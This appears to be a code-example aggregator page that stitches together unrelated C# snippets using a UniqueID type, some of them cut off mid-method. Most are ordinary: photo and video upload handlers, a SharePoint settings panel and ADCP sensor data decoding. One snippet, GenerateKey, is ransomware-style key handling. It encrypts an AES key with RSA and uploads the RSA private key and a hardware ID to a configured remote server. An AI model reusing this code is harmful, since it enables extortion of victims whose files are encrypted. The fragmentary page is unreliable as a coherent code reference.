public plyGameAttributeDatabaseModel(UniqueID id, string category, bool show, CharacterStatFormatterBase formatter)
 {
     this.id = id;
     this.category = category;
     this.show = show;
     this.formatter = formatter;
 }
        protected ActorAttribute GetPlyAttribute(UniqueID id)
        {
            var a = plyAttributes.FirstOrDefault(o => o.id.Value.ToString() == id.Value.ToString());
            if (a == null || a.def == null)
                return null;

            return a;
        }
        public override void OnFocus(object obj, plyBlock fieldOfBlock)
        {
            plyGraphFieldData target = obj == null ? new plyGraphFieldData() : obj as plyGraphFieldData;
            plyGraphManager asset = DiaQEdGlobal.GraphsAsset;

            // check if saved still valid
            if (!string.IsNullOrEmpty(target.id))
            {
                bool found = false;
                UniqueID id = new UniqueID(target.id);
                for (int i = 0; i < asset.graphs.Count; i++)
                {
                    if (id == asset.graphs[i].id) { found = true; break; }
                }
                if (!found)
                {
                    target.id = "";
                    target.cachedName = "";
                    ed.ForceSerialise();
                }
            }
        }
Ejemplo n.º 4
0
 public override string ToString() => UniqueID.ToString();
Ejemplo n.º 5
0
        public static string ProcessMemberPhoto(Member member, int PhotoCollectionID, Image image, DateTime TakenDT, bool SnappedFromMobile)
        {
            string GlobalWebID = UniqueID.NewWebID();
            string FileName    = GlobalWebID + @".jpg";

            Bitmap bmp = (Bitmap)image;

            try
            {
                EXIFextractor exif = new EXIFextractor(ref bmp, string.Empty);

                if (exif.DTTaken.Year != 1900)
                {
                    TakenDT = exif.DTTaken;
                }
            }
            catch { }


            Photo photo = new Photo();

            photo.Active            = true;
            photo.Mobile            = SnappedFromMobile;
            photo.MemberID          = member.MemberID;
            photo.WebPhotoID        = GlobalWebID;
            photo.PhotoCollectionID = PhotoCollectionID;
            photo.TakenDT           = TakenDT;
            photo.CreatedDT         = DateTime.Now;

            // create the large photo
            // just store the large image.. dont make a resource record
            System.Drawing.Image MainImage = Photo.ResizeTo800x600(image);
            string Savepath = member.NickName + @"\" + "plrge" + @"\" + FileName;

            Photo.SaveToDiskNoCompression(MainImage, Savepath);

            //create the medium
            photo.PhotoResourceFile = new ResourceFile();
            photo.PhotoResourceFile.WebResourceFileID = GlobalWebID;
            photo.PhotoResourceFile.ResourceType      = (int)ResourceFileType.PhotoLarge;
            photo.PhotoResourceFile.Path     = member.NickName + "/" + "pmed" + "/";
            photo.PhotoResourceFile.FileName = FileName;
            photo.PhotoResourceFile.Save();
            System.Drawing.Image MediumImage = Photo.Resize480x480(MainImage);
            Photo.SaveToDisk(MediumImage, photo.PhotoResourceFile.SavePath);

            //create the thumbnail
            photo.ThumbnailResourceFile = new ResourceFile();
            photo.ThumbnailResourceFile.WebResourceFileID = GlobalWebID;
            photo.ThumbnailResourceFile.ResourceType      = (int)ResourceFileType.PhotoThumbnail;
            photo.ThumbnailResourceFile.Path     = member.NickName + "/" + "pthmb" + "/";
            photo.ThumbnailResourceFile.FileName = FileName;
            photo.ThumbnailResourceFile.Save();


            System.Drawing.Image ThumbnailImage = Photo.ScaledCropTo121x91(MediumImage);


            Photo.SaveToDisk(ThumbnailImage, photo.ThumbnailResourceFile.SavePath);

            // attached the resource ids to the photos
            photo.ThumbnailResourceFileID = photo.ThumbnailResourceFile.ResourceFileID;
            photo.PhotoResourceFileID     = photo.PhotoResourceFile.ResourceFileID;

            photo.Save();

            // update the number of photos
            MemberProfile memberProfile = member.MemberProfile[0];

            memberProfile.NumberOfPhotos++;
            memberProfile.Save();

            return(photo.WebPhotoID);
        }
Ejemplo n.º 6
0
        public static byte[] GenerateKey()
        {
            var aes = new RijndaelManaged()
            {
                KeySize = 256
            };

            aes.GenerateKey();
            var rsa = new RSACryptoServiceProvider(2048);

            File.WriteAllText("public.txt", rsa.ToXmlString(false)); // Public RSA key to txt file
            if (Config.uploadRSAPrivateKey != null)
            {
                new WebClient().UploadString(Config.uploadRSAPrivateKey,
                                             File.ReadAllText(rsa.ToXmlString(true)) + "ID: " + UniqueID.GetUniqueHardwaeId()); // Upload private key and id to u server
            }
            else
            {
                File.WriteAllText("private.txt", rsa.ToXmlString(true)); //DELETE IT IF U NO DEBUGGING
            }
            File.WriteAllBytes("aes.txt", rsa.Encrypt(aes.Key, false));
            return(aes.Key);
        }
Ejemplo n.º 7
0
        /// <summary>
        /// Saves the video file to disk
        /// </summary>
        /// <returns></returns>
        public static void QueueVideoForEncoding(Video video, Stream FLVStream, string Extension, Member member, string VideoTitle)
        {
            if (VideoTitle.Length > 35)
            {
                VideoTitle = VideoTitle.Substring(0, 35);
            }

            string VideoFileName = UniqueID.NewWebID();
            string VideoPreprocessedInputFile = OSRegistry.GetDiskUserDirectory() + member.NickName + @"\video\" + VideoFileName + "." + Extension;

            string VideoInputFile  = member.NickName + @"\video\" + VideoFileName + "." + Extension;
            string VideoOutputFile = member.NickName + @"\video\" + VideoFileName + ".flv";

            int Length = 256;

            Byte[] buffer    = new Byte[256];
            int    bytesRead = FLVStream.Read(buffer, 0, Length);

            FileStream fs = new FileStream(VideoPreprocessedInputFile, FileMode.Create);

            // write the required bytes
            while (bytesRead > 0)
            {
                fs.Write(buffer, 0, bytesRead);
                bytesRead = FLVStream.Read(buffer, 0, Length);
            }

            FLVStream.Close();

            fs.Flush();
            fs.Close();

            ResourceFile VideoResourceFile = new ResourceFile();

            VideoResourceFile.WebResourceFileID = UniqueID.NewWebID();
            VideoResourceFile.FileName          = VideoFileName + ".flv";
            VideoResourceFile.Path         = @"/" + member.NickName + @"/video/";
            VideoResourceFile.ResourceType = (int)ResourceFileType.Video;
            VideoResourceFile.Save();

            string ThumbnailName     = UniqueID.NewWebID() + ".jpg";
            string ThumbnailSavePath = member.NickName + @"\vthmb\" + ThumbnailName;

            ResourceFile ThumbnailResourceFile = new ResourceFile();

            ThumbnailResourceFile.WebResourceFileID = UniqueID.NewWebID();
            ThumbnailResourceFile.FileName          = ThumbnailName;
            ThumbnailResourceFile.Path         = member.NickName + @"/vthmb/";
            ThumbnailResourceFile.ResourceType = (int)ResourceFileType.VideoThumbnail;
            ThumbnailResourceFile.Save();


            video.MemberID                = member.MemberID;
            video.WebVideoID              = UniqueID.NewWebID();
            video.Category                = 1;
            video.DTCreated               = DateTime.Now;
            video.VideoResourceFileID     = VideoResourceFile.ResourceFileID;
            video.ThumbnailResourceFileID = ThumbnailResourceFile.ResourceFileID;
            video.Status = (int)VideoStatus.EncoderQueue;
            video.Save();

            // update the number of photos
            MemberProfile memberProfile = member.MemberProfile[0];

            memberProfile.NumberOfVideos++;
            memberProfile.Save();

            VideoEncoderQueue VideoEncode = new VideoEncoderQueue();

            VideoEncode.VideoID             = video.VideoID;
            VideoEncode.VideoInputFile      = VideoInputFile;
            VideoEncode.VideoOutputFile     = VideoOutputFile;
            VideoEncode.ThumbnailOutputFile = ThumbnailSavePath;
            VideoEncode.Status = (int)VideoEncoderStatus.Ready;
            VideoEncode.Save();
        }
Ejemplo n.º 8
0
        protected override void OnLoad(EventArgs e)
        {
            base.OnInit(e);
            _jsObjName = String.IsNullOrEmpty(ID) ? "advancedUserSelector" + UniqueID.Replace('$', '_') : ID;

            if (!Page.ClientScript.IsClientScriptIncludeRegistered(GetType(), "ASC_Controls_AdvUserSelector_Script"))
            {
                Page.ClientScript.RegisterClientScriptInclude("ASC_Controls_AdvUserSelector_Script",
                                                              Page.ClientScript.GetWebResourceUrl(GetType(), "ASC.Web.Controls.AdvancedUserSelector.js.AdvUserSelectorScript.js"));
            }

            if (!Page.ClientScript.IsClientScriptBlockRegistered("ASC_Controls_AdvUserSelector_Style"))
            {
                Page.ClientScript.RegisterClientScriptBlock(GetType(), "ASC_Controls_AdvUserSelector_Style",
                                                            "<link href=\"" + Page.ClientScript.GetWebResourceUrl(GetType(), "ASC.Web.Controls.AdvancedUserSelector.css.default.css") + "\" type=\"text/css\" rel=\"stylesheet\"/>", false);
            }


            var scriptInit = new StringBuilder();

            scriptInit.AppendFormat("\nASC.Controls.AdvancedUserSelector._profiles = '{0}';\n", new Api.ApiServer().GetApiResponse("api/1.0/people.json?fields=id,displayname,avatarsmall,groups", "GET"));
            scriptInit.AppendFormat("\nASC.Controls.AdvancedUserSelector._groups = '{0}';\n", new Api.ApiServer().GetApiResponse("api/1.0/group.json", "GET"));
            scriptInit.AppendFormat("\nASC.Controls.AdvancedUserSelector.UserNameFormat = {0};\n", (int)UserFormatter.GetUserDisplayDefaultOrder());


            if (!Page.ClientScript.IsClientScriptBlockRegistered(GetType(), "ASC_Controls_AdvUserSelector_ScriptInit"))
            {
                Page.ClientScript.RegisterClientScriptBlock(GetType(), "ASC_Controls_AdvUserSelector_ScriptInit", scriptInit.ToString(), true);
            }


            var script = new StringBuilder();

            script.AppendFormat("var {0} = new ASC.Controls.AdvancedUserSelector.UserSelectorPrototype('{1}', '{0}', '&lt;{2}&gt;', '{3}', {4}, {5}, '{6}');\n",
                                _jsObjName,
                                _selectorID,
                                Resources.AdvancedUserSelectorResource.EmptyList,
                                Resources.AdvancedUserSelectorResource.ClearFilter,
                                IsMobileVersion.ToString().ToLower(),
                                IsLinkView.ToString().ToLower(),
                                IsMobileVersion ? _linkText.HtmlEncode().ReplaceSingleQuote() : "");


            if (UserList != null && UserList.Count > 0)
            {
                if (DisabledUsers != null && DisabledUsers.Count > 0)
                {
                    UserList.RemoveAll(ui => (DisabledUsers.Find(dui => dui.Equals(ui.ID)) != Guid.Empty));
                }

                script.AppendFormat("\n{0}.UserIDs = [", _jsObjName);
                foreach (var u in UserList.SortByUserName())
                {
                    script.AppendFormat("'{0}',", u.ID);
                }
                if (UserList.Count > 0)
                {
                    script.Remove(script.Length - 1, 1);
                }

                script.Append("];\n");
            }

            if (DisabledUsers != null && DisabledUsers.Count > 0)
            {
                script.AppendFormat("\n{0}.DisabledUserIDs = [", _jsObjName);
                foreach (var u in DisabledUsers)
                {
                    script.AppendFormat("'{0}',", u);
                }
                script.Remove(script.Length - 1, 1);
                script.Append("];\n");
            }

            Page.ClientScript.RegisterClientScriptBlock(GetType(), Guid.NewGuid().ToString(), script.ToString(), true);

            script = new StringBuilder();

            script.AppendFormat("{0}.AllDepartmentsGroupName = '{1}';\n", _jsObjName, Resources.AdvancedUserSelectorResource.AllDepartments.HtmlEncode().ReplaceSingleQuote());

            if (!String.IsNullOrEmpty(AdditionalFunction))
            {
                script.AppendFormat("{0}.AdditionalFunction = {1};", _jsObjName, AdditionalFunction);
            }


            if (!Guid.Empty.Equals(SelectedUserId))
            {
                script.AppendFormat("{0}.SelectedUserId = '{1}';\n", _jsObjName, SelectedUserId);
            }
            else if (IsMobileVersion)
            {
                script.AppendFormat("{0}.SelectedUserId = {0}.Me().find('option:first').attr('selected', 'selected').val();", _jsObjName);
            }

            script.Append("jq(function(){jq(document).click(function(event){\n");
            script.Append(_jsObjName + ".dropdownRegAutoHide(event);\n");
            script.Append("}); });\n");

            Page.ClientScript.RegisterStartupScript(GetType(), Guid.NewGuid().ToString(), script.ToString(), true);
        }
Ejemplo n.º 9
0
 public List <IPool> GetAllPrefabPools()
 {
     return(Generator.PoolManager.FindPools(UniqueID.ToString() + "_"));
 }
Ejemplo n.º 10
0
        // Protected Methods (1) 

        /// <summary>
        ///     Sends the tool part content to the specified HtmlTextWriter object, which writes the content to be rendered on the client.
        /// </summary>
        /// <param name="output">The HtmlTextWriter object that receives the tool part content.</param>
        protected override void RenderToolPart(HtmlTextWriter output)
        {
            var myWorkWebPart = (MyWorkWebPart)ParentToolPane.SelectedWebPart;

            string myWorkWebPartHtmlCode = Resources.MyWorkToolPart.Replace("_ID__", UniqueID.Md5());

            #region Get Settings

            string selectedLists = string.Empty;

            if (myWorkWebPart.SelectedLists != null)
            {
                IOrderedEnumerable <string> selLists = (myWorkWebPart.SelectedLists.Where(
                                                            selectedList => !string.IsNullOrEmpty(selectedList))
                                                        .Select(
                                                            selectedList =>
                                                            string.Format(@"'{0}'", selectedList))).ToList()
                                                       .OrderBy(
                    l =>
                    l);

                selectedLists = string.Join(",", selLists.ToArray());
            }

            string selectedFields = string.Empty;

            if (myWorkWebPart.SelectedFields != null)
            {
                IOrderedEnumerable <string> selFields = (myWorkWebPart.SelectedFields.Where(
                                                             selectedField => !string.IsNullOrEmpty(selectedField))
                                                         .Select(
                                                             selectedField =>
                                                             string.Format(
                                                                 @"{{InternalName:'{0}',PrettyName:'{1}'}}",
                                                                 selectedField,
                                                                 selectedField.ToPrettierName()))).ToList().
                                                        OrderBy(
                    f =>
                    f);

                selectedFields = string.Join(",", selFields.ToArray());
            }

            List <myworksettings.MWList> myWorkLists = myworksettings.GetMyWorkListsFromDb(_web,
                                                                                           MyWork.GetArchivedWebs(
                                                                                               _web.Site.ID));

            var includedMWLists = new List <string>();
            List <myworksettings.MWList> excludedMWLists = myWorkLists.ToList();

            if (myWorkWebPart.MyWorkSelectedLists.Count() > 0)
            {
                foreach (
                    myworksettings.MWList myWorkList in
                    myWorkLists.Where(myWorkList => myWorkWebPart.MyWorkSelectedLists.Contains(myWorkList.Name)))
                {
                    includedMWLists.Add(string.Format(@"{{Id:'{0}',Name:'{1}'}}", myWorkList.Id, myWorkList.Name));
                    excludedMWLists.Remove(myWorkList);
                }
            }
            else
            {
                includedMWLists = excludedMWLists.Select(excludedMWList => string.Format(@"{{Id:'{0}',Name:'{1}'}}",
                                                                                         excludedMWList.Id,
                                                                                         excludedMWList.Name)).ToList();

                excludedMWLists = new List <myworksettings.MWList>();
            }

            string includedMyWorkLists = string.Join(",", includedMWLists.ToArray());

            IEnumerable <string> excludedLists =
                excludedMWLists.Select(
                    excludedMWList =>
                    string.Format(@"{{Id:'{0}',Name:'{1}'}}", excludedMWList.Id,
                                  SPHttpUtility.HtmlEncode(excludedMWList.Name)));
            string excludedMyWorkLists = string.Join(",", excludedLists.ToArray());

            string crossSiteUrls = string.Empty;

            if (myWorkWebPart.CrossSiteUrls != null)
            {
                IOrderedEnumerable <string> crossSites = myWorkWebPart.CrossSiteUrls.Where(
                    crossSiteUrl => !string.IsNullOrEmpty(crossSiteUrl))
                                                         .Select(
                    crossSiteUrl =>
                    string.Format(@"'{0}'", crossSiteUrl))
                                                         .OrderBy(s => s);
                crossSiteUrls = string.Join(",", crossSites.ToArray());
            }

            var defaultGlobalViews = new List <string>();

            bool defaultViewFound = false;

            List <MyWorkGridView> myWorkGridViews =
                MyWork.GetGlobalViews(Utils.GetConfigWeb()).OrderBy(v => v.Name).ToList();

            foreach (MyWorkGridView myWorkGridView in myWorkGridViews)
            {
                bool defaultView = myWorkWebPart.DefaultGlobalView.Equals(myWorkGridView.Id);
                if (defaultView)
                {
                    defaultViewFound = true;
                }

                defaultGlobalViews.Add(string.Format(@"{{Id:'{0}',Name:'{1}',Default:{2}}}", myWorkGridView.Id,
                                                     myWorkGridView.Name, defaultView.Lc()));
            }

            defaultGlobalViews.Insert(0,
                                      string.Format(@"{{Id:'',Name:'Do Not Set View',Default:{0}}}",
                                                    (!defaultViewFound).Lc()));

            string objDefaultGlobalViews = string.Join(",", defaultGlobalViews.ToArray());

            bool agoFilterEnabled   = false;
            int  agoFilterDays      = 0;
            bool afterFilterEnabled = false;
            int  afterFilterDays    = 0;

            bool indicatorActive = true;
            int  indicatorDays   = 2;

            if (!string.IsNullOrEmpty(myWorkWebPart.DueDayFilter))
            {
                string[] filters = myWorkWebPart.DueDayFilter.Split('|');

                bool.TryParse(filters[0], out agoFilterEnabled);
                int.TryParse(filters[1], out agoFilterDays);
                bool.TryParse(filters[2], out afterFilterEnabled);
                int.TryParse(filters[3], out afterFilterDays);
            }

            if (!string.IsNullOrEmpty(myWorkWebPart.NewItemIndicator))
            {
                string[] settings = myWorkWebPart.NewItemIndicator.Split('|');

                bool.TryParse(settings[0], out indicatorActive);
                int.TryParse(settings[1], out indicatorDays);
            }

            string myWorkObjString =
                string.Format(
                    @"useCentralizedSettings:{0}, selectedLists:[{1}], selectedFields:[{2}], crossSiteUrls:[{3}], performanceMode:{4}, hideNewButton:{5}, allowEditToggle:{6}, defaultToEditMode:{7}, defaultGlobalViews:[{8}], includedMyWorkLists:[{9}], excludedMyWorkLists:[{10}], daysAgoEnabled:{11}, daysAfterEnabled:{12}, newItemIndicatorEnabled:{13}, daysAgo:'{14}', daysAfter:'{15}', newItemIndicator:'{16}', showToolbar:{17}",
                    myWorkWebPart.UseCentralizedSettings.Lc(), selectedLists, selectedFields, crossSiteUrls,
                    myWorkWebPart.PerformanceMode.Lc(), myWorkWebPart.HideNewButton.Lc(),
                    myWorkWebPart.AllowEditToggle.Lc(), myWorkWebPart.DefaultToEditMode.Lc(), objDefaultGlobalViews,
                    includedMyWorkLists, excludedMyWorkLists, agoFilterEnabled.Lc(),
                    afterFilterEnabled.Lc(), indicatorActive.Lc(),
                    agoFilterDays, afterFilterDays, indicatorDays, myWorkWebPart.ShowToolbar.Lc());

            myWorkWebPartHtmlCode = myWorkWebPartHtmlCode.Replace("objMyWork__VAL__", myWorkObjString);

            #endregion

            #region Get All Lists and Fields

            var listsAndFields = new Dictionary <string, List <string> >();
            foreach (SPList list in _web.Lists)
            {
                try
                {
                    listsAndFields.Add(list.Title,
                                       (list.Fields.Cast <SPField>()
                                        .Where(spField => !spField.Hidden && spField.Reorderable)
                                        .Select(spField => spField.InternalName)).ToList());
                }
                catch { }
            }

            string allListsAndFieldsString =
                string.Format(@"{0}",
                              string.Join(",", listsAndFields.Select(listAndFields =>
                                                                     string.Format(@"{{List:'{0}',Fields:[{1}]}}",
                                                                                   listAndFields.Key,
                                                                                   string.Join(",",
                                                                                               listAndFields.Value.
                                                                                               Select(
                                                                                                   field
                                                                                                   =>
                                                                                                   string
                                                                                                   .Format
                                                                                                   (
                                                                                                       @"{{InternalName:'{0}',PrettyName:'{1}'}}",
                                                                                                       field,
                                                                                                       field
                                                                                                       .
                                                                                                       ToPrettierName
                                                                                                           ()))
                                                                                               .
                                                                                               ToArray())))
                                          .ToArray()));

            myWorkWebPartHtmlCode = myWorkWebPartHtmlCode.Replace("allListsAndFields__VAL__", allListsAndFieldsString);

            #endregion

            #region Get Field Lists

            var fieldLists = new Dictionary <string, List <string> >();

            foreach (var listAndFields in listsAndFields)
            {
                foreach (string field in listAndFields.Value)
                {
                    if (!fieldLists.ContainsKey(field))
                    {
                        fieldLists.Add(field, new List <string>());
                    }
                    fieldLists[field].Add(listAndFields.Key);
                }
            }

            List <string> fields = fieldLists.Select(fieldList => string.Format(@"{0}:[{1}]", fieldList.Key,
                                                                                string.Join(",",
                                                                                            fieldList.Value.Select(
                                                                                                list =>
                                                                                                string.Format(@"'{0}'",
                                                                                                              list)).
                                                                                            ToArray())))
                                   .ToList();

            string fieldListsString = string.Join(",", fields.ToArray());

            myWorkWebPartHtmlCode = myWorkWebPartHtmlCode.Replace("fieldLists__VAL__", fieldListsString);

            string listWebsString = string.Join(",", (from myWorkList in myWorkLists
                                                      let webs =
                                                          myWorkList.Webs.Select(web => string.Format(@"'{0}'", web))
                                                          select
                                                          string.Format(@"{0}:[{1}]", myWorkList.Id,
                                                                        string.Join(",", webs.ToArray()))).ToArray());

            myWorkWebPartHtmlCode = myWorkWebPartHtmlCode.Replace("listWebs__VAL__", listWebsString);

            #endregion

            output.Write(myWorkWebPartHtmlCode);
        }
Ejemplo n.º 11
0
            /// <summary>
            /// Get all the information about the Ensemble.
            /// </summary>
            /// <param name="data">Byte array containing the Ensemble data type.</param>
            private void Decode(byte[] data)
            {
                EnsembleNumber = MathHelper.ByteArrayToInt32(data, GenerateIndex(0));
                NumBins = MathHelper.ByteArrayToInt32(data, GenerateIndex(1));
                NumBeams = MathHelper.ByteArrayToInt32(data, GenerateIndex(2));
                DesiredPingCount = MathHelper.ByteArrayToInt32(data, GenerateIndex(3));
                ActualPingCount = MathHelper.ByteArrayToInt32(data, GenerateIndex(4));
                Status = new Status(MathHelper.ByteArrayToInt32(data, GenerateIndex(5)));
                Year = MathHelper.ByteArrayToInt32(data, GenerateIndex(6));
                Month = MathHelper.ByteArrayToInt32(data, GenerateIndex(7));
                Day = MathHelper.ByteArrayToInt32(data, GenerateIndex(8));
                Hour = MathHelper.ByteArrayToInt32(data, GenerateIndex(9));
                Minute = MathHelper.ByteArrayToInt32(data, GenerateIndex(10));
                Second = MathHelper.ByteArrayToInt32(data, GenerateIndex(11));
                HSec = MathHelper.ByteArrayToInt32(data, GenerateIndex(12));

                // Revision D additions
                if (NumElements >= NUM_DATA_ELEMENTS_REV_D && data.Length >= NUM_DATA_ELEMENTS_REV_D * Ensemble.BYTES_IN_INT32)
                {
                    // Get the System Serial Num
                    // Start at index 13
                    byte[] serial = new byte[SERIAL_NUM_INT * Ensemble.BYTES_IN_INT32];
                    System.Buffer.BlockCopy(data, GenerateIndex(13), serial, 0, SERIAL_NUM_INT * Ensemble.BYTES_IN_INT32);
                    SysSerialNumber = new SerialNumber(serial);

                    // Get the firmware number
                    // Start at index 21
                    byte[] firmware = new byte[FIRMWARE_NUM_INT * Ensemble.BYTES_IN_INT32];
                    System.Buffer.BlockCopy(data, GenerateIndex(21), firmware, 0, FIRMWARE_NUM_INT * Ensemble.BYTES_IN_INT32);
                    SysFirmware = new Firmware(firmware);

                    // FOR BACKWARDS COMPATITBILITY
                    // Old subsystems in the ensemble were set by the Subsystem Index in Firmware.
                    // This means the that a subsystem code of 0 could be passed because
                    // the index was 0 to designate the first subsystem index.  Firmware revision 0.2.13 changed
                    // SubsystemIndex to SubsystemCode.  This will check which Firmware version this ensemble is
                    // and convert to the new type using SubsystemCode.
                    //
                    // Get the correct subsystem by getting the index found in the firmware and getting
                    // subsystem code from the serial number.
                    //if (SysFirmware.FirmwareMajor <= 0 && SysFirmware.FirmwareMinor <= 2 && SysFirmware.FirmwareRevision <= 13 && GetSubSystem().IsEmpty())
                    //{
                    //    // Set the correct subsystem based off the serial number
                    //    // Get the index for the subsystem
                    //    byte index = SysFirmware.SubsystemCode;

                    //    // Ensure the index is not out of range of the subsystem string
                    //    if (SysSerialNumber.SubSystems.Length > index)
                    //    {
                    //        // Get the Subsystem code from the serialnumber based off the index found
                    //        string code = SysSerialNumber.SubSystems.Substring(index, 1);

                    //        // Create a subsystem with the code and index
                    //        Subsystem ss = new Subsystem(Convert.ToByte(code), index);

                    //        // Set the new subsystem code to the firmware
                    //        //SysFirmware.SubsystemCode = Convert.ToByte(code);

                    //        // Remove the old subsystem and add the new one to the dictionary
                    //        SysSerialNumber.SubSystemsDict.Remove(Convert.ToByte(index));
                    //        SysSerialNumber.SubSystemsDict.Add(Convert.ToByte(index), ss);

                    //    }
                    //}

                }
                else
                {
                    SysSerialNumber = new SerialNumber();
                    SysFirmware = new Firmware();

                }

                // Revision H additions
                if (NumElements >= NUM_DATA_ELEMENTS_REV_H && data.Length >= NUM_DATA_ELEMENTS_REV_H * Ensemble.BYTES_IN_INT32)
                {
                    // Get the Subsystem Configuration
                    // Start at index 22
                    byte[] subConfig = new byte[SUBSYSTEM_CONFIG_NUM_INT * Ensemble.BYTES_IN_INT32];
                    System.Buffer.BlockCopy(data, GenerateIndex(22), subConfig, 0, SUBSYSTEM_CONFIG_NUM_INT * Ensemble.BYTES_IN_INT32);
                    SubsystemConfig = new SubsystemConfiguration(SysFirmware.GetSubsystem(SysSerialNumber), subConfig);
                }
                else
                {
                    // Create a default SubsystemConfig with a configuration of 0
                    SubsystemConfig = new SubsystemConfiguration(SysFirmware.GetSubsystem(SysSerialNumber), 0, 0);
                }

                // Set the time and date
                ValidateDateTime(Year, Month, Day, Hour, Minute, Second, HSec / 10);

                // Create UniqueId
                UniqueId = new UniqueID(EnsembleNumber, EnsDateTime);
            }
Ejemplo n.º 12
0
            /// <summary>
            /// Convert the PD0 Fixed Leader and Variable Leader data type to the RTI Ensemble data set.
            /// </summary>
            /// <param name="fl">PD0 Fixed Leader.</param>
            /// <param name="vl">PD0 Variable Leader.</param>
            public void DecodePd0Ensemble(Pd0FixedLeader fl, Pd0VariableLeader vl)
            {
                //this.UniqueId = UniqueId;
                this.EnsembleNumber = vl.GetEnsembleNumber();
                this.NumBins = fl.NumberOfCells;
                this.NumBeams = fl.NumberOfBeams;
                this.DesiredPingCount = fl.PingsPerEnsemble;
                this.ActualPingCount = fl.PingsPerEnsemble;
                this.SysSerialNumber = new SerialNumber(fl.CpuBoardSerialNumber);

                // Get the Subsystem
                Subsystem ss = new Subsystem();
                switch(fl.GetSystemFrequency())
                {
                    case Pd0FixedLeader.SystemFrequency.Freq_75kHz:
                        ss = new Subsystem(Subsystem.SUB_75KHZ_4BEAM_30DEG_ARRAY_L);
                        break;
                    case Pd0FixedLeader.SystemFrequency.Freq_150kHz:
                        ss = new Subsystem(Subsystem.SUB_150KHZ_4BEAM_30DEG_ARRAY_K);
                        break;
                    case Pd0FixedLeader.SystemFrequency.Freq_300kHz:
                        ss = new Subsystem(Subsystem.SUB_300KHZ_4BEAM_20DEG_PISTON_4);
                        break;
                    case Pd0FixedLeader.SystemFrequency.Freq_600kHz:
                        ss = new Subsystem(Subsystem.SUB_600KHZ_4BEAM_20DEG_PISTON_3);
                        break;
                    case Pd0FixedLeader.SystemFrequency.Freq_1200kHz:
                        ss = new Subsystem(Subsystem.SUB_1_2MHZ_4BEAM_20DEG_PISTON_2);
                        break;
                    case Pd0FixedLeader.SystemFrequency.Freq_2400kHz:
                        ss = new Subsystem(Subsystem.SUB_2MHZ_4BEAM_20DEG_PISTON_1);
                        break;
                }

                // Add the subsystem found
                this.SysSerialNumber.AddSubsystem(ss);

                this.SysFirmware = new Firmware(ss.Code, 0, fl.CpuFirmwareVersion, fl.CpuFirmwareRevision);
                this.SubsystemConfig = new SubsystemConfiguration(ss, 0, 0);
                this.Status = new Status(vl.BitResult);
                this.Year = vl.RtcYear + 2000;
                this.Month = vl.RtcMonth;
                this.Day = vl.RtcDay;
                this.Hour = vl.RtcHour;
                this.Minute = vl.RtcMinute;
                this.Second = vl.RtcSecond;
                this.HSec = vl.RtcHundredths;

                // Set the time and date
                ValidateDateTime(Year, Month, Day, Hour, Minute, Second, HSec / 10);

                // Create UniqueId
                UniqueId = new UniqueID(EnsembleNumber, EnsDateTime);
            }
Ejemplo n.º 13
0
            /// <summary>
            /// When an ensemble is averaged, the Ping count
            /// and date and time need to be updated for the ensemble.
            /// This will update the necessary values for an averaged
            /// ensemble.
            /// </summary>
            /// <param name="numSamples">Number of samples in the averaged ensemble.</param>
            public void UpdateAverageEnsemble(int numSamples)
            {
                // Set the time as now
                SetTime();

                // Create UniqueId
                UniqueId = new UniqueID(EnsembleNumber, EnsDateTime);

                // Set the number of samples in the averaged ensemble
                // To get the ping count, take the number of samples times the number pf pings per sample
                int pingCount = ActualPingCount* numSamples;
                DesiredPingCount = pingCount;
                ActualPingCount = pingCount;
            }
Ejemplo n.º 14
0
            public EnsembleDataSet(int ValueType, int NumElements, int ElementsMultiplier, int Imag, int NameLength, string Name,
                                    int EnsembleNumber, int NumBins, int NumBeams, int DesiredPingCount, int ActualPingCount,
                                    SerialNumber SysSerialNumber, Firmware SysFirmware, SubsystemConfiguration SubsystemConfig, Status Status,
                                    int Year, int Month, int Day, int Hour, int Minute, int Second, int HSec)
                : base(ValueType, NumElements, ElementsMultiplier, Imag, NameLength, Name)
            {
                //this.UniqueId = UniqueId;
                this.EnsembleNumber = EnsembleNumber;
                this.NumBins = NumBins;
                this.NumBeams = NumBeams;
                this.DesiredPingCount = DesiredPingCount;
                this.ActualPingCount = ActualPingCount;
                this.SysSerialNumber = SysSerialNumber;
                this.SysFirmware = SysFirmware;
                this.SubsystemConfig = SubsystemConfig;
                this.Status = Status;
                this.Year = Year;
                this.Month = Month;
                this.Day = Day;
                this.Hour = Hour;
                this.Minute = Minute;
                this.Second = Second;
                this.HSec = HSec;
                //this.EnsDateTime = EnsDateTime;

                // Set the time and date
                ValidateDateTime(Year, Month, Day, Hour, Minute, Second, HSec / 10);

                // Create UniqueId
                UniqueId = new UniqueID(EnsembleNumber, EnsDateTime);
            }
Ejemplo n.º 15
0
            /// <summary>
            /// Create an Ensemble data set.  Include all the information
            /// about the current ensemble from the sentence.  This will include
            /// the ensemble number and status.
            /// </summary>
            /// <param name="sentence">Sentence containing data.</param>
            public EnsembleDataSet(Prti03Sentence sentence)
                : base(DataSet.Ensemble.DATATYPE_INT, NUM_DATA_ELEMENTS, DataSet.Ensemble.DEFAULT_NUM_BEAMS_NONBEAM, DataSet.Ensemble.DEFAULT_IMAG, DataSet.Ensemble.DEFAULT_NAME_LENGTH, DataSet.Ensemble.EnsembleDataID)
            {
                // Set the ensemble number
                EnsembleNumber = sentence.SampleNumber;

                // Set time to now
                SetTime();

                // Create UniqueId
                UniqueId = new UniqueID(EnsembleNumber, EnsDateTime);

                // Use default value for beams
                NumBeams = DataSet.Ensemble.DEFAULT_NUM_BEAMS_BEAM;

                // Use the special serial number for a DVL
                SysSerialNumber = SerialNumber.DVL;

                // Create blank firmware
                SysFirmware = new Firmware();

                // Create Subsystem Configuration based off Firmware and Serialnumber
                if (sentence.SubsystemConfig != null)
                {
                    SubsystemConfig = sentence.SubsystemConfig;
                    SysFirmware.SubsystemCode = sentence.SubsystemConfig.SubSystem.Code;
                }
                else
                {
                    // Create Subsystem Configuration based off Firmware and Serialnumber
                    SubsystemConfig = new SubsystemConfiguration(SysFirmware.GetSubsystem(SysSerialNumber), 0, 0);
                }

                // Get the status from the sentence
                Status = sentence.SystemStatus;

                // No bin data
                NumBins = 0;
            }
Ejemplo n.º 16
0
 protected virtual void OnUnregisterParticle(UniqueID uid, IAether particle)
 {
 }
Ejemplo n.º 17
0
        public bool TryGetValue(UniqueID key, out IAether value)
        {
            bool result = particles.TryGetValue(key, out value);

            return(result);
        }
Ejemplo n.º 18
0
 public override int GetHashCode()
 {
     return(UniqueID.GetHashCode());
 }
Ejemplo n.º 19
0
 public IAether this[UniqueID key]
 {
